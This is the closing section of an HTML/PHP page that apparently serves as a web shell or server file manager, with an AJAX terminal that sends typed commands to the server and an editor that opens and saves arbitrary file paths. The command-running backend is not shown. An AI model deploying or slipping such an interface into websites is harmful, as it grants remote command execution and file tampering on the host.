<div class="text-xs text-gray-500 mt-2">Tip: Use standard commands (ls, pwd, whoami, etc.)</div>
</div>
</div>
<div id="editorModal" class="fixed inset-0 bg-black/80 hidden flex items-center justify-center p-8">
<div class="card w-full max-w-4xl h-full flex flex-col p-6 rounded-2xl">
<h3 id="editTitle" class="mb-4 font-bold text-blue-400">Editor</h3>
<form action="?d=<?= urlencode($current_path) ?>&a=save_file" method="POST" class="flex-grow flex flex-col">
<input type="hidden" name="csrf" value="<?= $_SESSION['csrf'] ?>">
<input type="hidden" name="target_file" id="target_file">
<textarea name="file_content" id="file_content" class="w-full flex-grow bg-gray-900 border border-gray-700 p-4 font-mono text-sm rounded mb-4"></textarea>
<div class="flex justify-end gap-4">
<button type="button" onclick="closeEditor()" class="px-6 py-2 bg-gray-700 rounded-lg">Cancel</button>
<button type="submit" class="px-6 py-2 bg-blue-600 rounded-lg font-bold">SAVE CHANGES</button>
</div>
</form>
</div>
</div>
<script>
// Terminal AJAX handling with better error management
const termOutput = document.getElementById('terminal-output');
const termForm = document.getElementById('terminal-form');
const termCmd = document.getElementById('terminal-cmd');
const csrfToken = document.getElementById('csrf-token').value;
function appendToTerminal(text, isError = false) {
const line = document.createElement('div');
line.className = 'mb-1';
line.style.color = isError ? '#f87171' : '#4ade80';
line.textContent = text;
termOutput.appendChild(line);
termOutput.scrollTop = termOutput.scrollHeight;
}
termForm.addEventListener('submit', async (e) => {
e.preventDefault();
const cmd = termCmd.value.trim();
if (cmd === '') return;
appendToTerminal(`$ ${cmd}`);
termCmd.value = '';
termCmd.focus();
try {
const formData = new URLSearchParams();
formData.append('csrf', csrfToken);
formData.append('cmd', cmd);
const response = await fetch(window.location.href, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest'
},
body: formData.toString()
});
// Check if response is OK
if (!response.ok) {
appendToTerminal(`HTTP Error: ${response.status} ${response.statusText}`, true);
return;
}
const text = await response.text();
let data;
try {
data = JSON.parse(text);
} catch (jsonError) {
console.error('Raw response:', text);
appendToTerminal(`Server returned invalid JSON. Raw response (first 200 chars): ${text.substring(0,200)}`, true);
return;
}
if (data.error) {
appendToTerminal(`Error: ${data.error}`, true);
} else if (data.output !== undefined) {
const output = data.output.trim();
if (output) {
output.split('\n').forEach(line => appendToTerminal(line));
} else {
appendToTerminal('(no output)');
}
} else {
appendToTerminal('Unexpected response format', true);
}
} catch (err) {
appendToTerminal(`Request failed: ${err.message}`, true);
}
appendToTerminal(''); // blank line
});
document.getElementById('clear-terminal').addEventListener('click', () => {
termOutput.innerHTML = '<div>>_ Terminal cleared.</div>';
});
function openEditor(path) {
document.getElementById('target_file').value = path;
document.getElementById('editTitle').innerText = "Editing: " + path.split('/').pop();
fetch('?a=edit_file&path=' + encodeURIComponent(path))
.then(r => r.text())
.then(data => {
document.getElementById('file_content').value = data;
document.getElementById('editorModal').classList.remove('hidden');
})
.catch(err => alert('Failed to load file: ' + err.message));
}
function closeEditor() { document.getElementById('editorModal').classList.add('hidden'); }
</script>
</body>
</html>